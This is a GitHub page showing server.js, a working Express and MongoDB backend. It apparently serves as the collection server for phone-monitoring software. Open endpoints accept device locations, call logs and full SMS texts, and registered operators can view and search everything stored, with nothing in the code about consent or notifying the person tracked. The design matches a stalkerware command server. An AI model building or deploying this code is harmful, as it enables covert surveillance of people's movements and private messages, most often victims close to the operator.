-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathserver.js
More file actions
276 lines (239 loc) · 8.08 KB
/
Copy pathserver.js
File metadata and controls
276 lines (239 loc) · 8.08 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
const express = require("express");
const mongoose = require("mongoose");
const cors = require("cors");
const dotenv = require("dotenv");
const axios = require("axios");
const bcrypt = require("bcrypt");
const jwt = require("jsonwebtoken");
dotenv.config();
const app = express();
const PORT = process.env.PORT || 5000;
app.use(cors());
// Increase payload limit to 50MB
app.use(express.json({ limit: "50mb" }));
app.use(express.urlencoded({ limit: "50mb", extended: true }));
// MongoDB connection
mongoose
.connect(process.env.MONGO_URI, {
useNewUrlParser: true,
useUnifiedTopology: true
})
.then(() => console.log("✅ MongoDB connected"))
.catch((err) => console.error("❌ MongoDB error:", err));
// Schemas
const LocationSchema = new mongoose.Schema({
device: String,
longitude: Number,
latitude: Number,
timestamp: { type: Date, default: Date.now }
});
const Location = mongoose.model("Location", LocationSchema);
const CallLogSchema = new mongoose.Schema({
device: String,
number: String,
type: String,
date: String,
duration: String,
timestamp: { type: Date, default: Date.now }
});
const CallLog = mongoose.model("CallLog", CallLogSchema);
const SmsSchema = new mongoose.Schema({
device: String,
address: String,
body: String,
date: String,
timestamp: { type: Date, default: Date.now }
});
const Sms = mongoose.model("Sms", SmsSchema);
const UserSchema = new mongoose.Schema({
username: { type: String, required: true, unique: true },
passwordHash: { type: String, required: true },
createdAt: { type: Date, default: Date.now }
});
const User = mongoose.model("User", UserSchema);
// ------------------------
// Middleware for protected routes
// ------------------------
const authMiddleware = async (req, res, next) => {
const token = req.headers.authorization?.split(" ")[1];
if (!token) return res.status(401).json({ error: "No token provided" });
try {
const decoded = jwt.verify(token, process.env.JWT_SECRET);
req.user = decoded;
next();
} catch (err) {
return res.status(401).json({ error: "Invalid token" });
}
};
// ------------------------
// User registration
// ------------------------
app.post("/api/register", async (req, res) => {
try {
const { username, password, DEF_PASS } = req.body;
if (!username || !password || !DEF_PASS) {
return res.status(400).json({ error: "All fields required" });
}
// Validate against server DEF_PASS
if (DEF_PASS !== process.env.DEF_PASS) {
return res.status(403).json({ error: "Invalid DEF_PASS" });
}
// Hash password
const passwordHash = await bcrypt.hash(password, 10);
const newUser = await new User({ username, passwordHash }).save();
// Create JWT token
const token = jwt.sign({ id: newUser._id, username: newUser.username }, process.env.JWT_SECRET, {
expiresIn: "7d"
});
res.status(201).json({ message: "User created", token });
} catch (err) {
console.error(err);
if (err.code === 11000) {
return res.status(400).json({ error: "Username already exists" });
}
res.status(500).json({ error: "Server error" });
}
});
app.get("/api/access-token", async (req, res) => {
try {
const { username, password } = req.query;
const user = await User.findOne({ username });
if (!user) {
return res.status(401).json({ error: "Invalid username" });
}
const isPasswordValid = await bcrypt.compare(password, user.passwordHash);
if (!isPasswordValid) {
return res.status(401).json({ error: "Invalid password" });
}
const token = jwt.sign({ id: user._id, username: user.username }, process.env.JWT_SECRET, {
expiresIn: "7d"
});
res.status(200).json({ token });
} catch (err) {
console.error(err);
res.status(500).json({ error: "Server error" });
}
});
// ------------------------
// Protected GET routes
// ------------------------
app.get("/get-location", authMiddleware, async (req, res) => {
try {
const locations = await Location.find();
res.status(200).json(locations);
} catch (err) {
console.error(err);
res.status(500).json({ error: "Server error" });
}
});
app.get("/get-call-logs", authMiddleware, async (req, res) => {
try {
const callLogs = await CallLog.find();
res.status(200).json(callLogs);
} catch (err) {
console.error(err);
res.status(500).json({ error: "Server error" });
}
});
app.get("/get-sms", authMiddleware, async (req, res) => {
try {
const sms = await Sms.find();
res.status(200).json(sms);
} catch (err) {
console.error(err);
res.status(500).json({ error: "Server error" });
}
});
app.get('/get-single-logs', authMiddleware, async (req, res) => {
try {
const callLogs = await CallLog.find({ number: req.query.number });
res.status(200).json(callLogs);
} catch (err) {
console.error(err);
res.status(500).json({ error: 'Server error' });
}
})
app.get('/get-single-sms', authMiddleware, async (req, res) => {
try {
const sms = await Sms.find({ address: req.query.address });
res.status(200).json(sms);
} catch (err) {
console.error(err);
res.status(500).json({ error: 'Server error' });
}
})
// -------------------
// Combined API route
// -------------------
app.post("/api/post-data", async (req, res) => {
try {
const { device, latitude, longitude, callLogs, messages } = req.body;
if (!device) {
return res.status(400).json({ error: "Device identifier is required" });
}
// 1. Save Location (always)
if (typeof latitude === "number" && typeof longitude === "number") {
await new Location({ device, latitude, longitude }).save();
}
// 2. Save Call Logs (only new ones for this device)
if (Array.isArray(callLogs) && callLogs.length > 0) {
const latestCall = await CallLog.find({ device })
.sort({ date: -1 })
.limit(1)
.lean();
const latestCallDate = latestCall.length > 0 ? latestCall[0].date : null;
const newCallLogs = latestCallDate
? callLogs.filter(c => new Date(c.date) > new Date(latestCallDate))
: callLogs;
if (newCallLogs.length > 0) {
await CallLog.insertMany(newCallLogs.map(c => ({ ...c, device })));
}
}
// 3. Save SMS (only new ones for this device)
if (Array.isArray(messages) && messages.length > 0) {
const latestSms = await Sms.find({ device })
.sort({ date: -1 })
.limit(1)
.lean();
const latestSmsDate = latestSms.length > 0 ? latestSms[0].date : null;
const newMessages = latestSmsDate
? messages.filter(m => new Date(m.date) > new Date(latestSmsDate))
: messages;
if (newMessages.length > 0) {
await Sms.insertMany(newMessages.map(m => ({ ...m, device })));
}
}
res.json({ message: "Data saved successfully" });
} catch (err) {
console.error("❌ Error in /api/post-data:", err);
res.status(500).json({ error: "Server error" });
}
});
// Routes
app.post("/api/push", async (req, res) => {
try {
const { long, lat, device } = req.body;
if (typeof long !== "number" || typeof lat !== "number") {
return res.status(400).json({ error: "Invalid long/lat values" });
}
const newLocation = new Location({ longitude: long, latitude: lat, device:device });
await newLocation.save();
res.json({ message: "Location saved", data: newLocation });
} catch (err) {
console.error(err);
res.status(500).json({ error: "Server error" });
}
});
app.get("/get", (req, res) => {
res.json({ message: "hello" });
});
// Keep alive ping (self-ping every 30s)
if (process.env.SELF_URL) {
setInterval(() => {
axios.get(`${process.env.SELF_URL}/get`).catch((err) => {
console.error("Keep-alive ping failed:", err.message);
});
}, 30 * 1000);
}
// Start server
app.listen(PORT, () => console.log(`🚀 Server running on port ${PORT}`));